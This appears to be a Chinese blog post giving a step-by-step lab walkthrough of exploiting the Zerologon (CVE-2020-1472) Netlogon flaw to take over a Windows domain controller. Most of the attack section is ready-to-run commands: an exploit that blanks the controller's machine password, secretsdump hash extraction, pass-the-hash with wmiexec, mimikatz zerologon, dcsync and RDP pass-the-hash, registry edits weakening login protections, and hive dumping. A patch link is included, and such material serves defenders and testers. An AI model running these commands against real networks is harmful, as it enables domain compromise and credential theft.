美文网首页
CVE-2020-1472域内提权漏洞利用

CVE-2020-1472域内提权漏洞利用

作者: Tide_诺言 | 来源:发表于2020-12-17 16:16 被阅读0次

    简介

    2020年8月11号,微软修复了Netlogon 特权提升漏洞,2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

    漏洞原理

    Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。
    具体细节可查看https://www.cynet.com/zerologon/

    影响版本

    Windows Server 2008 R2 for x64-based Systems Service Pack 1
    Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    Windows Server 2012
    Windows Server 2012 (Server Core installation)
    Windows Server 2012 R2
    Windows Server 2012 R2 (Server Core installation)
    Windows Server 2016
    Windows Server 2016 (Server Core installation)
    Windows Server 2019
    Windows Server 2019 (Server Core installation)
    Windows Server, version 1903 (Server Core installation)
    Windows Server, version 1909 (Server Core installation)
    Windows Server, version 2004 (Server Core installation)

    利用过程

    复现环境

    目标靶机:

    域控:Winserver2012 R2(x64)
    IP:10.211.55.12
    hostname:sever2012
    域:tide.rog
    

    攻击机:mac os

    使用的工具:
    1、CVE-2020-1472 攻击exp
    https://github.com/VoidSec/CVE-2020-1472
    2、impacket网络协议工具包
    https://github.com/SecureAuthCorp/impacket/

    运行exp

    首先运行exp脚本,将AD域控的机器账户server2012的密码置换成空:
    命令查看域控计算机主机名和ip

    net group "Domain Controllers" /domain
    ping server2012.tide.org
    


    -n指定域控计算机主机名
    -t指定域控ip
    运行exp,确定把域控机器账户密码置换成空

    python3 cve-2020-1472-exploit.py -n server2012 -t 10.211.55.12
    

    注意:置空密码可能会导致脱域,谨慎使用。

    获取hash

    置空密码后接下来我们利用impacket网络协议工具包的secretsdump.py脚本根据DRS协议来获取相关的HASH信息。

    ~impacket/examples/
    
    python3 secretsdump.py tide/server2012\$@10.211.55.12 -no-pass
    

    server2012的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码。
    还得到的域管administrator账户的hash为6ec77abf4e1d5e5027db29d144bd8673。

    获取到hash之后,可以尝试进行解密,如果解密成功可以直接连接3389获得域控权限。
    ntml hash解密地址:https://www.objectif-securite.ch/en/ophcrack


    如果密码复杂度高会解密失败,可以使用hash横向的工具执行系统cmd命令。
    常用的工具有: wmiexec,psexec,atexec,smbexec等

    wmiexec执行命令

    使用wmiexec执行cmd,输入域控管理员对应hash,主机ip

    python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6ec77abf4e1d5e5027db29d144bd8673 Administrator@10.211.55.12
    

    mimikatz登陆rdp

    抓取hash无法破解的情况下,可以尝试使用hash登陆远程桌面,需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启。
    有两种开启方法第一种为打补丁,第二种为手动修改注册表。
    修改注册表开启:

    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
    

    查看是否开启:
    回显DisableRestrictedAdmin REG_DWORD 0x0 为开启

    REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
    

    使用支持restrictedadmin登录的攻击主机

    mstsc.exe /restrictedadmin
    

    如下为不支持restrictedadmin登录



    弹出远程连接表示支持restrictedadmin登录



    管理员运行mimikatz,执行命令
    /user为登录的用户名 /domian为目标地址 /ntml为账户ntml值
    privilege::debug
    sekurlsa::pth /user:administrator /domain:10.211.55.12 /ntlm:6ec77abf4e1d5e5027db29d144bd8673 "/run:mstsc.exe /restrictedadmin"
    

    更改计算机地址为目标地址,点击连接。
    登录成功。


    坑点

    1、 ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations 请检查mimiket及对应操作系统版本

    2、 error kuh1_m_sekurlsa_acquireLSA:logon list 请下载最新版mimiketz

    3、遇到CredSSP加密数据库错误是大概是因为win10家庭版,一条命令直接解决。

    REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
    

    还原机器账户hash

    如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。

    首先获取原hash,在cmd中执行。

    reg save HKLM\SYSTEM system.save
    reg save HKLM\SAM sam.save
    reg save HKLM\SECURITY security.save
    get system.save
    get sam.save
    get security.save
    del /f system.save
    del /f sam.save
    del /f security.save
    

    会在目标c盘根目录生成sam.save、system.save、security.save文件,然后下载到本地。
    在mac上执行,没有下载文件到本地,原因未知。
    可以使用其它操作系统执行,也可以使用powershell命令先上线到cs服务器,然后下载。


    下载文件到本地后,执行如下命令,利用secretsdump.py解析保存在本地的ntml hash

    ~impacket/examples
    python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    

    箭头指向的位置即为之前使用的hash

    9774cb9c026d03f8157bfdf6a9352342
    

    使用reinstall_original_pw.py对hash进行恢复

    python3 reinstall_original_pw.py server2012 10.211.55.12 9774cb9c026d03f8157bfdf6a9352342
    

    使用空密码再次尝试查看目标hash信息,失败,说明目标hash已成功还原。

    python3 secretsdump.py tide/server2012\$@10.211.55.12 -no-pass
    

    mimikatz 利用

    mimikatz 20200918后版本支持通过zerologon漏洞攻击域控服务器。
    https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200918-fix

    1、运行poc查看是否存在漏洞

    lsadump::zerologon /target:10.211.55.12 /account:server2012$
    

    2、运行exp把域控主机hash置为空

    lsadump::zerologon /target:10.211.55.12 /account:server2012$ /exploit
    

    3、查看指定用户的hash

    lsadump::dcsync /domain:tide.org /dc:Server2012.tide.org /user:administrator /authuser:server2012$ /authdomain:tide /authpassword:"" /authntlm
    

    4、防止域环境出现问题,恢复密码

    lsadump::postzerologon /target:10.211.55.12 /account:server2012$
    

    补丁修复

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

    参考链接

    https://xz.aliyun.com/t/8367
    https://my.oschina.net/Umbrel1a/blog/4589778
    https://www.cnblogs.com/potatsoSec/p/13710947.html

    相关文章

      网友评论

          本文标题:CVE-2020-1472域内提权漏洞利用

          本文链接:https://www.haomeiwen.com/subject/razagktx.html